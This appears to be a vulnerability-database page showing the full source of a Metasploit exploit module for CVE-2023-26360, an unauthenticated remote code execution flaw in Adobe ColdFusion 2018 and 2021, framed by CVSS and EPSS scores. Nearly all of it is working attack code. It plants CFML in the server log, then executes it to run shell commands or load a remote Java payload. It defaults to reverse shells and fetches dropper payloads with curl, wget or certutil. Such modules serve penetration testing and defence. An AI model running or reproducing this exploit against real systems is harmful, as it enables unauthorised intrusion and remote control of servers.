8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
9.2 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.964 High
EPSS
Percentile
99.6%
This Metasploit module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to gain remote code execution.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe
ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in
order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'sf', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-26360'],
['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']
],
'DisclosureDate' => '2023-03-14',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.
'WfsDelay' => 30,
'Targets' => [
[
'Generic Java',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => [ ARCH_JAVA ],
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
}
},
],
[
'Windows Command',
{
'Type' => :cmd,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
},
],
[
'Windows Dropper',
{
'Type' => :dropper,
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Type' => :cmd,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl'
}
},
],
[
'Linux Dropper',
{
'Type' => :dropper,
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# The following artifacts will be left on disk:
# The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)
# * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class
# * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class
# If a dropper payload was used, a file with a random name may be left.
# * Windows: C:\Windows\Temp\XXXXXX.exe
# * Linux: /tmp/XXXXXX
ARTIFACTS_ON_DISK,
# The following logs will contain IOCs:
# C:\ColdFusion2021\cfusion\logs\coldfusion-out.log
# C:\ColdFusion2021\cfusion\logs\exception.log
# C:\ColdFusion2021\cfusion\logs\application.log
IOC_IN_LOGS
],
'RelatedModules' => [
'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'
]
}
)
)
register_options(
[
Opt::RPORT(8500),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),
OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
return CheckCode::Unknown('Connection failed') unless res
# We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint
# to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.
# https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69
if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/
return CheckCode::Detected('ColdFusion detected but version number is unknown.')
end
CheckCode::Unknown
end
def exploit
unless datastore['CFC_ENDPOINT'].end_with?('.cfc')
fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')
end
case target['Type']
when :java
# Start the HTTP server
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload...
handler
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def on_request_uri(cli, _req)
if target['Type'] == :java
print_status('Received payload request, transmitting payload jar...')
send_response(cli, payload.encoded, {
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
else
super
end
end
def trigger_urlclassloader
# Here we construct a CFML payload to load a Java payload via URLClassLoader.
# NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.
cf_url = Rex::Text.rand_text_alpha_lower(4)
srvhost = datastore['SRVHOST']
# Ensure SRVHOST is a routable IP address to our RHOST.
if Rex::Socket.addr_atoi(srvhost) == 0
srvhost = Rex::Socket.source_address(rhost)
end
# Create a URL pointing back to our HTTP server.
cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"
cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)
# Get a reference to java.lang.reflect.Array so we can create a URL[] instance.
cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"
cf_array = Rex::Text.rand_text_alpha_lower(4)
# Create a URL[1] instance.
cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"
# Set the first element in the array to our URL.
cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"
cf_loader = Rex::Text.rand_text_alpha_lower(4)
# Create a URLClassLoader instance.
cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"
# Load the remote JAR file and instantiate an instance of metasploit.Payload.
cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"
execute_cfml(cfc_payload)
end
def execute_command(cmd, _opts = {})
cf_param = Rex::Text.rand_text_alpha_lower(4)
# If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.
cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"
# Set our cf_param with the data in the requests form data, this is the command to run.
cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"
# Here we construct a CFML payload to stage the :cmd and :dropper commands...
shell_name = nil
shell_arg = nil
case target['Platform']
when 'win'
shell_name = 'cmd.exe'
shell_arg = '/C'
when 'linux', 'unix'
shell_name = '/bin/sh'
shell_arg = '-c'
end
cf_array = Rex::Text.rand_text_alpha_lower(4)
# Create an array of arguments to pass to exec()
cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"
cf_runtime = Rex::Text.rand_text_alpha_lower(4)
# Get a reference to the java.lang.Runtime class.
cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"
# Call the static Runtime.exec method to execute our string array holding the command and the arguments.
cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"
# The end of the If tag.
cfc_payload << '</cfif>'
execute_cfml(cfc_payload, cf_param, cmd)
end
def execute_cfml(cfml, param = nil, param_data = nil)
cfc_payload = '<cftry>'
cfc_payload << cfml
cfc_payload << "<cfcatch type='any'>"
cfc_payload << '</cfcatch>'
cfc_payload << '<cffinally>'
# Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.
# GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the
# template we are executing.
cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"
cfc_payload << '</cffinally>'
cfc_payload << '</cftry>'
# We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.
unless cfc_payload.length < 950
fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')
end
# We dont need to call a valid CFC method, so we just create a random method name to supply to the server.
cfc_method = Rex::Text.rand_text_alpha_lower(1..8)
# Perform the request that writes the cfc_payload to the CF_LOGFILE.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
'vars_post' => { '_variables' => "{#{cfc_payload}" }
)
unless res && res.code == 200 && res.body.include?('<title>Error</title>')
fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')
end
# The relative path from wwwroot to the CF_LOGFILE.
cflog_file = datastore['CF_LOGFILE']
# To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters
# to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.
if target['Platform'] == 'win'
classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}"
else
classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"
end
json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"
vars_post = { '_variables' => json_variables }
unless param.nil? || param_data.nil?
vars_post[param] = param_data
end
# Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be
# executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
'vars_post' => vars_post
)
unless res && res.code == 200 && res.body.include?('<title>Error</title>')
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')
end
end
end
8.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
9.2 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.964 High
EPSS
Percentile
99.6%